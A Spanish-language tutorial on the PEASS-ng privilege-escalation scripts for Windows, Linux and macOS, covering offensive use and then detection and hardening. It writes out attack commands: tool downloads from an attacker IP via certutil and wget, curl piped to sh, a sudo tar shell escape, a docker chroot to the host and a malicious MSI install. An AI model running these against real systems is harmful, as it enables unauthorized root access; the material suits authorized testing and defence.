PEASS-ng: Suite de Scripts para Escalada de Privilegios (Guía ofensiva y defensiva)

PEASS-ng: Suite de Scripts para Escalada de Privilegios (Guía ofensiva y defensiva)

Introducción

La escalada de privilegios es una etapa crucial en ciberseguridad, tanto para atacantes como para defensores. Consiste en aprovechar vulnerabilidades o configuraciones débiles para elevar los permisos de un usuario estándar a niveles administrativos o de sistema. En pruebas de penetración y red teaming, una vez conseguido el acceso inicial a un sistema con privilegios limitados, el siguiente paso suele ser escanear el sistema en busca de rutas de escalada. Del lado defensivo, los analistas buscan detectar y mitigar esas mismas debilidades antes de que sean explotadas.

PEASS-ng (Privilege Escalation Awesome Scripts SUITE) es una colección abierta de scripts diseñada precisamente para automatizar la búsqueda de posibles vías de escalada de privilegios en sistemas Windows, Linux y MacOS. Desarrollada por Carlos Polop y colaboradores, esta suite (también conocida como PEAS Suite) incluye, entre otras herramientas, WinPEAS (para Windows) y LinPEAS (para Linux/Unix y MacOS). Su popularidad la ha llevado a integrarse en distribuciones de pentesting como Kali Linux, debido a su eficacia para enumerar configuración del sistema, identificar vulnerabilidades locales y resaltarlas con una salida de colores que facilita su interpretación.

En este artículo técnico exploraremos a fondo el uso de PEASS-ng, abordando técnicas ofensivas (para pentesters y red teams) y prácticas defensivas (para detección, mitigación y hardening). Presentaremos demostraciones detalladas paso a paso en Windows, Linux y MacOS, con ejemplos realistas de hallazgos y recomendaciones de buenas prácticas. El objetivo es proporcionar una guía exhaustiva para profesionales que desean maximizar el valor de esta herramienta, tanto atacando como protegiendo sistemas.

Visión general de la suite PEASS-ng

PEASS-ng es la "nueva generación" de la suite de scripts de escalada de privilegios. Reúne diversas utilidades enfocadas en la enumeración local de sistemas en busca de debilidades explotables. Sus componentes principales son:

  • WinPEAS – (Windows Privilege Escalation Awesome Script): Disponible como ejecutable (.exe) escrito en C# y como script por lotes (.bat). Recorre configuraciones de Windows en busca de vectores de elevación de privilegios locales.
  • LinPEAS – (Linux/Unix Privilege Escalation Awesome Script): Un script shell (.sh) que analiza sistemas Linux y similares (incluyendo distribuciones Unix y MacOS) para hallar posibles métodos de escalada.
  • MacPEAS – En realidad no es un archivo separado; la versión de LinPEAS detecta automáticamente si se está ejecutando en MacOS y lanza comprobaciones específicas para este sistema. Es decir, LinPEAS actúa también como MacPEAS cuando corre en un entorno Darwin/MacOS.
  • Otros complementos: La suite incluye checks adicionales y utilidades, como listas de exploits conocidos, convertidores de salida a JSON/HTML/PDF, etc., que pueden ser útiles para integrar los resultados en informes.

Una característica destacada de PEASS-ng es su salida codificada por colores, pensada para que un auditor identifique rápidamente lo importante:

  • Rojo: hallazgos críticos o privilegios especiales detectados (ej. un usuario con privilegios inusuales, credenciales, configuraciones muy peligrosas).
  • Amarillo: posibles vectores de escalada o hallazgos con alta probabilidad de explotación. Requieren atención prioritaria.
  • Verde: presencia de protecciones habilitadas o configuraciones seguras (por ejemplo, mecanismos de defensa activos que podrían mitigar algunos ataques).
  • Cian: información sobre usuarios activos en el sistema (usuarios logueados o en uso).
  • Azul: información sobre usuarios deshabilitados o inactivos en el sistema.
  • Morado (y otros colores menos comunes): se usan para categorizar otro tipo de información o resaltar nombres de host, rutas, enlaces, etc.

Gracias a este esquema de colores, revisar la salida de cientos de líneas de enumeración se vuelve más manejable: los posibles problemas saltan a la vista en rojo/amarillo, mientras que el texto informativo o seguro aparece en colores neutros. En esencia, PEAS agiliza y orienta la fase de reconocimiento post-explotación, permitiendo centrar el análisis en aquello que probablemente conduzca a una escalada de privilegios.

A continuación, veremos cómo utilizar WinPEAS, LinPEAS (y MacPEAS) en escenarios ofensivos típicos, y luego pasaremos al enfoque defensivo, discutiendo cómo detectar su uso malicioso y cómo mitigar las vulnerabilidades que estos scripts pueden encontrar.

Uso ofensivo de PEASS-ng (Pentesting/Red Teaming)

En un escenario ofensivo, asumimos que el atacante (o pentester) ya obtuvo una sesión inicial limitada en el sistema objetivo. Esto podría haber sido mediante la explotación de una vulnerabilidad remota, credenciales filtradas, ingeniería social, etc. Con ese acceso, el objetivo de WinPEAS/LinPEAS es enumerar de forma automatizada todos los detalles del sistema que pudieran permitir elevar privilegios. Veamos por separado cómo proceder en Windows, Linux y MacOS.

WinPEAS en Windows: Enumeración de escalada de privilegios

Escenario: Disponemos de una shell (por ejemplo, cmd.exe o PowerShell) en un sistema Windows bajo una cuenta sin privilegios administrativos. Queremos encontrar un camino para obtener privilegios de NT AUTHORITY\SYSTEM o administrador local.

Paso 1: Transferir WinPEAS al sistema objetivo. WinPEAS se distribuye como un ejecutable portátil, por lo que podemos subirlo de varias formas. Dos métodos comunes son:

  • Usar un script por lotes (winPEAS.bat): Alternativamente, PEASS-ng ofrece winPEAS.bat que contiene las mismas comprobaciones en formato script de texto. Este se puede copiar y pegar directamente en una shell si no es posible transferir binarios, aunque su ejecución es más lenta y podría no mostrar colores correctamente en algunas consolas. En general, la versión .exe es preferible por velocidad y formato.

Usar un servidor web local: en el equipo del atacante (p. ej. Kali Linux) hostear el archivo. Por ejemplo, desde la carpeta donde tenemos winpeas.exe, ejecutar:

$ sudo python3 -m http.server 80

Esto inicia un servidor HTTP simple en el puerto 80. Luego, en la máquina Windows víctima, descargar el binario usando certutil o PowerShell. Por ejemplo con certutil desde la consola de Windows:

C:\> certutil -urlcache -split -f http://<IP_del_Attacker>/winpeas.exe C:\Temp\winpeas.exe

Este comando descargará winpeas.exe a C:\Temp\winpeas.exe. (También podríamos usar Invoke-WebRequest de PowerShell o simplemente transferir via una carpeta compartida, según las circunstancias).

Paso 2: Ejecutar WinPEAS. Una vez transferido, lanzamos el escaneo. Si usamos la versión .exe, simplemente abrimos una consola en la ruta donde está el archivo y ejecutamos:

C:\Temp> .\winpeas.exe

WinPEAS comenzará a correr una serie de pruebas y mostrará multitud de líneas de salida clasificadas por secciones. Si queremos guardar el resultado para analizar con calma, podemos redirigir la salida a un archivo, por ejemplo:

C:\Temp> .\winpeas.exe > C:\Temp\resultado_winpeas.txt
Nota: Al ejecutar WinPEAS es recomendable hacerlo en una ventana de símbolo del sistema (cmd) tradicional, ya que muestra los colores ANSI correctamente. En algunas versiones de PowerShell la salida podría no colorearse a menos que se ajusten configuraciones o se use ansicon. El uso directo en cmd.exe suele funcionar bien.

Paso 3: Analizar la salida de WinPEAS. El script imprimirá información del sistema organizada por categorías. El pentester debe repasar especialmente las líneas resaltadas en rojo/amarillo, que indican posibles debilidades. A continuación se listan algunos tipos de hallazgos comunes en Windows que WinPEAS busca y por qué son importantes:

  • Información básica del sistema: Versión de Windows, arquitectura (32/64 bits), parches instalados. ¿Por qué importa? – Versiones antiguas o sin parches pueden ser susceptibles a exploits locales conocidos (por ejemplo, vulnerabilidades de kernel). WinPEAS incluso puede sugerir exploits conocidos si detecta una versión vulnerable.
  • Usuarios y grupos: Enumera usuarios activos (cian) y deshabilitados (azul), grupos a los que pertenece el usuario actual, privilegios asignados (como SeImpersonatePrivilege, SeDebugPrivilege, etc.). Atención: Si el usuario actual posee privilegios sensibles (como SeImpersonatePrivilege habilitado), podría aprovecharse técnicas como potato attacks para escalar a SYSTEM. WinPEAS resalta en rojo si detecta tokens con privilegios en el proceso actual.
  • Políticas de contraseñas y credenciales: Comprueba la configuración de contraseñas (política de longitud, expiración) e intenta localizar credenciales almacenadas. Por ejemplo, buscará contraseñas en texto claro en el registro (como AutoLogon), credenciales Wi-Fi guardadas, contraseñas de navegador, etc. Hallar credenciales válidas de un administrador en texto claro llevaría a escalada inmediata (WinPEAS marcará esto en rojo brillante).
  • Servicios Windows: Enumera servicios instalados, especialmente aquellos corriendo con cuenta SYSTEM o elevado. Busca dos vulnerabilidades clásicas:
    • Rutas de servicio sin comillas (Unquoted Service Path): Servicios cuyo ejecutable tiene espacios en la ruta y no está entrecomillado. Esto puede permitir a un usuario crear un ejecutable malicioso en un camino intermedio. Por ejemplo, si un servicio tiene ImagePath = C:\Archivos de Programas\MiServicio\servicio.exe sin comillas, Windows intentará ejecutar C:\Archivos.exe si existe. Un atacante podría colocar un C:\Archivos.exe propio para que el servicio (al iniciarse con SYSTEM) ejecute su payload. WinPEAS listará estos servicios en rojo.
    • Permisos de servicio inseguros: Comprueba en el registro los DACL de cada servicio para ver si usuarios no privilegiados tienen permisos de modificación (como cambiar el binario del servicio). Si es así, un atacante puede reconfigurar el servicio para lanzar su propio ejecutable como SYSTEM. Esto también aparece marcado como crítico.
  • Tareas programadas: WinPEAS lista Scheduled Tasks en Windows y resalta si alguna se ejecuta con altos privilegios pero con archivos/modulos que un usuario bajo controla. Un ejemplo es una tarea automática que ejecute un script ubicado en una ruta escribible por todos. Un atacante podría editar ese script y esperar a que la tarea corra como SYSTEM. Estas configuraciones incorrectas se señalan en la salida.
  • Registros y configuración del sistema:
    • Busca la presencia de claves de registro peligrosas como AlwaysInstallElevated habilitadas. Esta clave (en HKLM y HKCU) si está en 1 permite a cualquier usuario instalar paquetes MSI con privilegios elevados. WinPEAS avisa en rojo si lo encuentra, ya que un atacante puede crear un MSI malicioso para conseguir una shell de SYSTEM.
    • Revisa si Wdigest está habilitado (lo que podría permitir obtener credenciales en memoria), si Credential Guard está activo, configuración de UAC, políticas de AppLocker, etc. Muchas de estas comprobaciones indican si el sistema tiene protecciones que dificultarían la escalada; WinPEAS las resalta en verde si están presentes (por ejemplo, LSA Protection habilitado es una medida defensiva verde).
  • Permisos de archivo y DLL hijacking:
    • Enumera directorios sensibles donde el usuario actual tiene permisos de escritura (por ejemplo, carpetas en Archivos de programa o System32 con permisos débiles). Archivos o carpetas de sistema que sean escribibles son puertas de escalada porque se pueden modificar binarios que luego ejecuta admin o sistema.
    • Busca oportunidades de DLL hijacking: si algún servicio o programa corre con altos privilegios e intenta cargar una DLL en una ruta no segura que un usuario puede controlar, eso se marcará como vector (WinPEAS conoce rutas de carga típicas y revisa permisos en esas ubicaciones).
  • Estado de Firewall y AV: Informa si el Firewall de Windows está habilitado, si hay antivirus instalado y en ejecución, etc. Aunque no es directamente para escalada, conocer la presencia/ausencia de AV puede indicar si ciertas técnicas (como Mimikatz) podrían funcionar o ser detectadas.

Paso 4: Explotación de hallazgos (ejemplos ofensivos en Windows). Una vez identificados posibles vectores, el pentester intentará aprovecharlos. Algunos ejemplos prácticos usando los resultados de WinPEAS:

  • Un servicio vulnerable: Supongamos que WinPEAS resaltó un Unquoted Service Path para un servicio BackupService que corre como SYSTEM. La ruta mostrada es C:\Program Files\Backup Service\backup.exe (sin comillas). Como usuario limitado, podemos crear un ejecutable malicioso en C:\Program.exe. Cuando el servicio se inicie, Windows ejecutará nuestro C:\Program.exe con nivel SYSTEM. En la práctica, prepararíamos un ejecutable reverso o una shell escalada, lo colocaríamos en C:\Program.exe y luego esperaríamos reiniciar el servicio (o la máquina) para obtener código con máximos privilegios.
  • Configuración AlwaysInstallElevated: Si WinPEAS indica que AlwaysInstallElevated está activado, significa que podemos crear un archivo MSI que ejecute comandos arbitrarios. Un atacante generaría un MSI malicioso (por ejemplo, con msfvenom o herramientas de Windows Installer) que añada un usuario admin o abra una shell, y luego desde la cuenta limitada lo instalaría usando msiexec /quiet /qn /i exploit.msi. Debido a la configuración insegura, ese MSI correrá como NT AUTHORITY\SYSTEM.
  • Credenciales expuestas: Si la herramienta encontró credenciales (por ejemplo, contraseñas en texto claro en el Registro o en archivos de configuración), el atacante puede intentar reutilizarlas. Por ejemplo, WinPEAS suele buscar entradas de AutoLogon en HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon que a veces guardan la contraseña de un usuario para inicio automático. Una contraseña de administrador descubierta así permite iniciar sesión con esa cuenta privilegiada directamente.

En resumen, WinPEAS agiliza enormemente la enumeración en Windows, cubriendo desde errores de configuración del sistema operativo hasta secretos almacenados. Un pentester experto combinará estos hallazgos con conocimiento de exploits conocidos y técnicas pos-explotación para conseguir la elevación de privilegios. Es destacable que incluso grupos de ransomware en la vida real utilizan WinPEAS durante sus incursiones: por ejemplo, se ha documentado que el grupo detrás del ransomware Play incorporó WinPEAS en su arsenal para descubrir caminos de escalada local en las redes que comprometen. Esto demuestra la efectividad de la herramienta en entornos reales.

LinPEAS en Linux: Enumeración de escalada de privilegios

Escenario: Tenemos una shell limitada en un servidor Linux (por ejemplo, hemos explotado una aplicación web y obtenido acceso como usuario www-data o un usuario común). Buscamos posibles vulnerabilidades locales que nos permitan obtener acceso root u otras cuentas privilegiadas.

Paso 1: Transferir/ejecutar LinPEAS en la máquina Linux. Al ser un script Bash, linpeas.sh, podemos obtenerlo de varias formas:

  • Minimizar huella: LinPEAS tiene versiones "reducidas" (small o personalizadas) con menos comprobaciones, pensadas para ser más furtivas y rápidas. En un test de intrusión podrías usar la versión completa primero (más ruidosa) y luego quizá una versión recortada en operaciones más discretas. En la práctica, el script completo suele estar bien, pero ten en cuenta que genera mucho output y consume CPU, lo cual podría llamar la atención en sistemas monitorizados.

Servidor del atacante (HTTP/SSH): En caso de no haber acceso externo, se puede alojar el script en el equipo del pentester (similar a WinPEAS) y usar wget o curl apuntando a la IP del atacante para transferirlo. Por ejemplo:

$ wget http://<IP_Attacker>/linpeas.sh -O /tmp/linpeas.sh
$ chmod +x /tmp/linpeas.sh
$ /tmp/linpeas.sh

Otra opción si hay ssh es simplemente scp: scp linpeas.sh usuario@victima:/tmp/.

Descarga directa desde GitHub: Si el servidor tiene acceso a internet, se puede ejecutar en la misma shell:

$ curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh
$ chmod +x /tmp/linpeas.sh
$ /tmp/linpeas.sh

Este método descarga la última versión publicada del script y la ejecuta. Incluso es posible acortar esto usando un pipe directo a sh:

$ curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

Nota: Usar curl|sh ejecutando código directamente de internet puede ser detectado si hay monitoreo de tráfico, pero es rápido. Asegúrate de tener permiso o de estar en contexto de pentest controlado.

Paso 2: Ejecutar LinPEAS y capturar salida. Como se ve, simplemente ejecutar el script iniciará la enumeración exhaustiva del sistema. Dado que la salida es muy larga, suele ser útil redirigirla a un archivo o incluso usar un script multiplexer como tee para verla en pantalla y guardarla a la vez:

$ /tmp/linpeas.sh | tee /tmp/resultados_linpeas.txt

LinPEAS empezará imprimiendo banner y progresará por distintas secciones: información del sistema, variables de entorno, versiones de software, configuración de sudo, procesos, tareas cron, archivos interesantes, etc.

Paso 3: Analizar la salida de LinPEAS. Al igual que WinPEAS, la clave está en prestar atención a lo marcado en colores rojo o amarillo, que indican potenciales vías de explotación. Entre las verificaciones que realiza LinPEAS en Linux/Unix, destacamos:

  • Información del sistema: Nombre de host, versión de kernel y distribución Linux. Importante: si el kernel es antiguo, LinPEAS puede listar posibles exploits locales conocidos (por ejemplo, un kernel 4.x vulnerable a DirtyCow o similares). También muestra si el sistema es un contenedor Docker/LXC, ya que eso cambia la estrategia de escalada.
  • Listados de procesos y servicios: Muestra procesos corriendo con root, comparando con listas de servicios conocidos por ser vulnerables. Por ejemplo, identifica si MySQL, Apache u otros servicios están corriendo y podría haber configuraciones débiles asociadas (como archivos de config con contraseñas).
  • Usuarios, grupos y sudo: Enumera todos los usuarios del sistema y su UID/GID, resalta el usuario actual y sus grupos. Ejecuta sudo -l automáticamente para ver si el usuario actual tiene permisos sudo (y si son sin contraseña). Cualquier entrada en sudoers que permita al usuario ejecutar comandos como root (especialmente sin contraseña) se remarcará de inmediato como un hallazgo crítico. Por ejemplo, si encontramos usuario ALL=(ALL) NOPASSWD: /usr/bin/vim, significa que ese usuario puede escalar a root editando archivos con vim (o escapando a shell desde vim).
  • Archivos con SUID/SGID: LinPEAS busca binarios con el bit SUID (o SGID) activado, especialmente aquellos no comunes o pertenecientes a aplicaciones de terceros. Si un binario SUID es escribible por el usuario actual (lo cual sería un hallazgo extremadamente grave), se resaltará porque significa que podemos reemplazarlo por uno malicioso y conseguir ejecución como root. Más frecuente es encontrar SUID en binarios estándar (como /usr/bin/passwd o /bin/ping), que normalmente no son explotables, pero LinPEAS conoce algunas rutas de explotación conocidas: por ejemplo, binarios SUID viejos con vulnerabilidades (como versiones antiguas de nmap, find, etc. si estuvieran mal configurados).
  • Tareas programadas (cron): El script enumera cron jobs del sistema (en /etc/crontab, /etc/cron.d/*, tareas de usuarios en /var/spool/cron/ y timers de systemd). Si detecta que algún script o comando de cron es editable por el usuario actual, lo marcará. Un caso común es cuando root ha programado un script para que corra periódicamente, pero el archivo del script tiene permisos 777 o pertenece a un usuario al que comprometimos. Un atacante puede insertar comandos maliciosos allí y esperar a que el cron lo ejecute con privilegios elevados.
  • Archivos y directorios interesantes:
    • LinPEAS realiza búsquedas de archivos que contengan palabras clave como "password", "contraseña", "AWS", "creds", etc., en rutas habituales (/home, configuraciones de Apache, archivos de respaldo, bases de datos). Si encuentra, por ejemplo, en el código fuente de un sitio web credenciales de base de datos, lo mostrará. Estas credenciales podrían permitir pivotar a otro servicio o incluso reutilizarse para acceder a cuentas privilegiadas.
    • Lista las home directories de usuarios y resalta si puede acceder a ellas (por ejemplo, a veces la home de root tiene permisos demasiado abiertos).
    • Revisa configuraciones como .bash_history, ssh keys privadas públicas, tokens de AWS/GCP en archivos de configuración, etc. Cualquier credencial o secreto es un hallazgo valioso.
  • Permisos y capacidades especiales: Busca archivos con capabilities en Linux (por ejemplo, binarios que tengan cap_net_admin, etc.), ya que ciertas capacidades pueden llevar a escalada (un binario con cap_dac_read_search permite leer cualquier archivo, etc.).
  • Configuraciones de seguridad: Comprueba si el sistema tiene mecanismos como SELinux o AppArmor y en qué estado (enforce o permisivo). Un SELinux en permissive puede indicar que hay menos restricciones de las esperadas para ciertos exploits.
  • Entornos de desarrollo o contenedores: Si detecta Docker, listará contenedores y pertenencia al grupo docker. Estar en el grupo docker es esencialmente root en muchos casos (porque se puede lanzar contenedores privilegiados). Lo mismo con LXD en sistemas Ubuntu. LinPEAS marca si el usuario actual pertenece a grupos como docker, lxd, etc.
  • Conexiones de red y puertos locales: Aunque no es escalada en sí, ver qué puertos están abiertos localmente o qué servicios escuchan solo en localhost puede dar pistas (por ejemplo, un servidor MySQL local que acepta root sin pass desde localhost, etc. – esto sería más para moverse lateralmente o extraer datos, pero LinPEAS lo incluye).

Paso 4: Explotación de hallazgos (ejemplos ofensivos en Linux). Con la información de LinPEAS, un atacante puede proceder a aprovechar las debilidades. Algunos ejemplos típicos:

  • Sudoer inadvertido: Si LinPEAS muestra que el usuario actual puede usar sudo para ejecutar ciertos binarios sin contraseña, la escalada es trivial. Ejemplo: usuario ALL=(ALL) NOPASSWD: /bin/tar. Un pentester reconocería que puede ejecutar sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh para obtener una shell root (abuso de la opción checkpoint de tar). LinPEAS suele resaltar referencias a GTFOBins para este tipo de exploit (en amarillo).
  • Binario SUID vulnerable: Supongamos que encontramos un binario SUID '/usr/local/bin/backup' propiedad de root. Investigando su versión o comportamiento, descubrimos que llama a /tmp/backup.conf para configurar algo. Además, /tmp es escribible por todos. Esto es una situación lista para explotar: crear un /tmp/backup.conf malicioso (por ejemplo, con comandos pos-explotación) y ejecutar /usr/local/bin/backup. Como corre con SUID root, leerá nuestro config malicioso y ejecutará comandos como root. LinPEAS ayuda a identificar estos escenarios resaltando cadenas sospechosas o permisos inusuales en archivos relacionados.
  • Cron job editable: Si vemos que en /etc/crontab hay una entrada para ejecutar /home/jorge/backup.sh como root cada hora, y resulta que nosotros tenemos acceso de escritura a /home/jorge/backup.sh (quizás porque somos el usuario jorge o porque la home está mal permisada), entonces simplemente editando ese script e insertando una revershell, obtendremos root la próxima vez que corra el cron. Este tipo de hallazgo sería marcado en rojo por LinPEAS.
  • Credenciales encontradas: Imaginemos que LinPEAS descubre en /var/www/html/wp-config.php credenciales de base de datos, incluyendo una contraseña de MySQL. El pentester podría probar si esa misma contraseña la reutiliza algún usuario del sistema (por ejemplo, intentar su admin y probar la contraseña encontrada). No es infrecuente que administradores reutilicen contraseñas entre servicios, lo que puede llevar a escalada de un servicio comprometido a una cuenta de sistema.

Grupo Docker: Si LinPEAS indica que estamos en el grupo docker, el atacante puede iniciar un contenedor privilegiado montando el sistema host, logrando así root fuera del contenedor. Un comando típico sería:

$ docker run -v /:/host -it alpine chroot /host /bin/bash

Con esto, se obtiene un shell root del host. LinPEAS alerta de esta condición porque es equivalente a poder ser root.

En general, LinPEAS proporciona una visión completa de la postura de seguridad local. La habilidad del atacante radica en interpretar esa avalancha de datos para escoger la vía más viable hacia la raíz (root). Dado que la salida es tan voluminosa, en ocasiones se apoya uno en herramientas adicionales (por ejemplo, copiar el resultado para analizarlo con calma o incluso usar algún asistente IA como se ha experimentado recientemente, aunque eso escapa al alcance de este artículo). Lo fundamental es que, con unas pocas líneas de comando, un pentester puede hacer en segundos lo que manualmente llevaría horas: revisar cientos de configuraciones y archivos.

MacPEAS en MacOS: Enumeración de escalada de privilegios

Escenario: Hemos obtenido acceso a un sistema MacOS como un usuario estándar (por ejemplo, a través de una aplicación instalada o credenciales de un usuario sin rol de administrador). Aunque MacOS comparte base Unix, tiene particularidades de seguridad propias. Veremos cómo LinPEAS (MacPEAS) nos ayuda a detectar posibles escaladas.

Paso 1: Ejecutar LinPEAS en MacOS. Igual que con Linux, podemos transferir y ejecutar linpeas.sh en la Mac comprometida. El script detectará automáticamente que está en un sistema Darwin (Mac) y ajustará algunas comprobaciones para MacOS. Por ejemplo:

$ curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh
$ chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh

Asegúrate de que el usuario con que cuentas tiene permiso para ejecutar Terminal o abrir una shell (en Mac muy restringidos como sandboxed podrían complicar, pero normalmente un usuario normal puede abrir Terminal).

Paso 2: Revisar la salida de MacPEAS. Muchas secciones serán similares a las de Linux: usuarios, sudoers, procesos, archivos con SUID, tareas programadas (launchd en el caso de MacOS). Sin embargo, MacOS tiene algunos mecanismos adicionales:

  • Comprobaciones específicas de Mac: El script revisará el estado de System Integrity Protection (SIP). SIP es una medida de seguridad de MacOS que impide incluso a root modificar ciertas áreas críticas del sistema. Si SIP está deshabilitado, es una señal de alerta (posible máquina de desarrollo o con seguridad reducida), lo que puede facilitar ciertas escaladas de kernel. LinPEAS indicará si SIP (también llamado rootless) está activo o no.
  • Usuarios admin y sudo: En MacOS, los usuarios en el grupo admin pueden usar sudo (generalmente solicitando su propia contraseña). Si el usuario comprometido pertenece al grupo admin, ya tiene un paso para ser root (solo necesitaríamos su contraseña; si la conocemos o si sudo está configurado sin contraseña para admin, ya estaríamos escalados). MacPEAS mostrará los usuarios y quién está en admin.
  • Launch Agents y Daemons: MacOS utiliza archivos .plist para configurar Launch Agents (ejecutados con usuario estándar al iniciar sesión) y Launch Daemons (ejecutados con root durante el arranque). LinPEAS enumerará los .plist en /Library/LaunchDaemons y /Library/LaunchAgents, y resaltará si alguno tiene permisos incorrectos. Por ejemplo, un Launch Daemon que corra como root pero cuyo archivo .plist o binario asociado sea editable por nuestro usuario es una vía de escalada: podemos modificar el programa o script que se lanza con privilegios al inicio.
  • Aplicaciones instaladas: Revisar aplicaciones puede delatar vulnerabilidades. Por ejemplo, versiones viejas de software con setuid (ha habido casos en Mac de utilidades con SUID como Docker o antivirus mal configurados). LinPEAS podría listar binarios en /Applications con permisos inusuales.
  • Llaveros y credenciales: MacOS almacena contraseñas en el Keychain. LinPEAS no puede extraer el llavero sin la contraseña maestra, pero puede indicar si hay contraseñas guardadas en texto plano en archivos de configuración (por ejemplo, scripts de mantenimiento con credenciales).
  • Variables de entorno y rutas: Igual que en Linux, chequea si el PATH u otras variables incluyen directorios inseguros. En Mac, un usuario malicioso en el grupo admin podría intentar aprovechar DYLD_PRINT_TO_FILE o variables de entorno dinámicas para escalar (aunque Apple cierra muchas de estas puertas, LinPEAS menciona hallazgos relacionadas a DYLD).
  • Kernel y extensiones: Enumera extensiones de kernel (kexts) instaladas. Versiones antiguas de extensiones de terceros a veces tienen vulnerabilidades. Esto es ya más específico, pero un pentester podría ver la versión de alguna kext y comparar con CVEs conocidos.

Paso 3: Ejemplos de explotación en MacOS. Las oportunidades en MacOS suelen ser más limitadas porque Apple mantiene un ecosistema más cerrado. Aun así, existen numerosos vectores tras usar MacPEAS, algunos ejemplos:

  • LaunchDaemon modificable: Si encontramos un LaunchDaemon (archivo .plist) en /Library/LaunchDaemons que es propiedad de nuestro usuario o tiene permisos de escritura para todos, podemos editarlo para que apunte a un ejecutable nuestro, o modificar el ejecutable si también es editable. Luego, forzando su ejecución (reiniciando el sistema o cargándolo manualmente con launchctl si es posible) obtendríamos ejecución con root.
  • Sudo mal configurado: En entornos corporativos Mac, a veces administradores configuran sudo sin contraseña para ciertas tareas (por ejemplo, permitir que un técnico instale software sin pedir credenciales cada vez). Si MacPEAS revela una entrada en sudoers dando NOPASSWD a nuestro usuario para algún comando sensible (o peor, ALL), podríamos abusarlo como en Linux. Aunque MacOS de fábrica no tiene nada en sudoers aparte del grupo admin (que pide contraseña), vale la pena checar.
  • Aplicación vulnerable: Si detectamos, por ejemplo, que hay una aplicación con SUID (/Applications/VPNTool/vpnconnect por ejemplo) y sabemos (por búsqueda de CVE) que es vulnerable a buffer overflow, un atacante podría intentar explotarla. MacPEAS nos dio la pista enumerando ese binario SUID poco común.
  • Credencial reutilizada: Si el usuario actual no es admin pero MacPEAS mostró algún password en un script (digamos, para montar un recurso de red) y resulta ser la misma contraseña que la de un administrador (caso de mala práctica), podríamos simplemente autenticarnos como admin.

En suma, MacPEAS (vía LinPEAS) cubre MacOS en lo esencial, pero las situaciones de escalada en Mac suelen depender de escenarios específicos o de explotar vulnerabilidades del sistema operativo (0-days o CVEs si la máquina no está parcheada). La herramienta nos dará visibilidad de configuraciones anómalas que a un atacante podrían abrirle la puerta, pero a diferencia de Windows/Linux (donde abundan errores de configuración), en Mac es menos común encontrar cuentas sin contraseña o servicios mal protegidos. Aún así, en entornos multiusuario o Mac integrados en empresas, las debilidades existen y es mejor encontrarlas a tiempo.

Uso defensivo de PEASS-ng (Detección, Mitigación y Hardening)

Habiendo visto cómo un atacante puede aprovechar WinPEAS/LinPEAS para escalar privilegios, pasemos a la perspectiva del defensor. Los equipos de seguridad pueden utilizar estas herramientas tanto para auditar proactivamente sus sistemas en busca de problemas (lo que permite fortalecerlos), como para detectar actividad maliciosa si un intruso las está utilizando. También, entender qué revisa PEASS-ng es casi un checklist de las áreas que debemos asegurar en nuestros sistemas. Desglosaremos el uso defensivo en tres aspectos: detección de la herramienta, mitigación de vulnerabilidades encontradas y hardening preventivo.

Detección de WinPEAS/LinPEAS en uso (Blue Team)

Cuando un atacante lanza WinPEAS o LinPEAS en una máquina víctima, genera ciertos indicios que pueden ser detectables mediante monitoreo y alertas:

  • Detección basada en firmas (nombre/archivo): La forma más directa es vigilar por la presencia de archivos o procesos con nombres característicos como "winpeas", "linpeas". En entornos Windows, soluciones SIEM/EDR pueden activar alertas si ven ejecutarse un winpeas.exe o si se crea un archivo con ese nombre en el disco. De hecho, existen reglas de correlación públicas que disparan alerta cuando:
    • El nombre original del binario contiene "winpeas.exe".
    • Una línea de comando contiene "winpeas.bat" o "winpeas.ps1".
    • El proceso hijo tiene "winpeas" en su nombre.
      Un atacante podría intentar evadir esto renombrando el binario (por ejemplo, a notepad.exe falso); aun así, algunas soluciones buscan patrones únicos del binario.
  • Detección basada en comportamiento: WinPEAS ejecuta multitud de acciones en poco tiempo: lee claves de registro sensibles, enumera servicios, lista usuarios, comprueba rutas de sistema, etc. Este comportamiento intensivo de consulta del sistema puede ser registrado. Por ejemplo:
    • Windows Event Logs/Sysmon: Con Sysmon instalado, es posible ver numerosas actividades de proceso y acceso al registro en rápida sucesión provenientes de un mismo proceso. Una regla de comportamiento podría ser: "si un proceso no firmado (ni del SO) lanza consultas masivas a la Registry o WMI en pocos segundos, alertar". WinPEAS realiza queries WMI, comandos net user, whoami /priv, etc., que se podrían detectar en conjunto.
    • Antivirus/Defender: Algunos AV clasifican las herramientas de post-explotación como HackTool. WinPEAS puede ser detectado por Microsoft Defender como amenaza (por su comportamiento y firma). Mantener actualizados los AV puede ayudar a que bloqueen la ejecución conocida de estas herramientas. Sin embargo, los defensores deben ser conscientes de que un atacante hábil podría recompilar WinPEAS con modificaciones (código abierto) para cambiar su firma y evadir AV.
    • Linux auditd/monitoring: En Linux, detectar un script bash que lanza tantos comandos puede lograrse si hay auditoría de comandos de shell. Por ejemplo, auditd puede registrar llamadas a ciertas utilidades (like chmod, find, mount, etc.) con el UID del usuario. LinPEAS invoca muchas utilidades del sistema; si de repente un usuario no privilegiado ejecuta decenas de comandos que normalmente nunca ejecutaría (como df -h, lsmod, ifconfig, etc.), es un indicador de enumeración hostil. Herramientas como OSSEC o Wazuh podrían correlacionar múltiples eventos de sistema en corto tiempo.
  • Monitorización de red: Si el atacante descarga directamente el script de internet (e.g. via curl de GitHub raw), eso genera tráfico saliente inusual. Un firewall o IDS podría detectar peticiones HTTP salientes a dominios como github.com desde un servidor que normalmente no haría eso, o identificar patrones en la descarga (por ejemplo, la URL de releases de PEASS-ng). Implementar restricciones de salida o al menos alertas para conexiones de servidores a internet podría revelar la transferencia de la herramienta.

En la práctica, la detección proactiva requiere un buen nivel de registro y alertas. Muchas organizaciones no monitorean la actividad de usuarios estándar con la misma atención que la de administradores, y los atacantes aprovechan ese silencio. Recomendaríamos a defensores establecer:

  • Sysmon en Windows con reglas específicas: por ejemplo, alertar si un proceso con nombre peas se ejecuta, o si se observan creaciones de proceso de cmd.exe con secuencias de comandos sospechosas.
  • Canary tokens: ejecutar periódicamente (cada X horas) un script ligero que compruebe si se creó un archivo con nombre particular (indicativo de herramientas) en temporales.
